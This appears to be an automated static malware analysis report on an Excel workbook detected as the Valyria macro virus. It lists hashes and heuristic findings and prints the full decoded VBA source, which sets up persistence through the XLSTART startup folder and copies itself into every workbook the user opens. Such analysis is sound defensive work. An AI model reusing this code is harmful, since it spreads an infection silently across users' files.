Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 8899ec9f8d644682…

MALICIOUS

Office (OLE) / .XLS

147.5 KB Created: 2016-10-03 04:10:14 First seen: 2026-06-06
MD5: 76ae3eab7ea234c9dc0d236922a90ca5 SHA-1: 61fed94d6a13b7438513dcd9c6a66529cfef8d2d SHA-256: 8899ec9f8d6446825971f89e61802171949a40f4db041581ce990fa95658a1e5
168 Risk Score

Heuristics 5

  • ClamAV: Xls.Virus.Valyria-10004391-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Virus.Valyria-10004391-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
    'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel1.xls"
  • VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER
    The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
    Matched line in script
        Application.OnSheetActivate = ""
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1307 bytes
SHA-256: 5e88f3ef84a3824416e6465b097ac4c763cfb863b32fe2730cccbed9ba6ac082
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Kangatang"

Sub Auto_Open()
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel1.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel1.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel1.xls!allocated"
End Sub

Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).name <> "Kangatang" Then
    Application.ScreenUpdating = False
    currentsh = ActiveSheet.name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
  End If
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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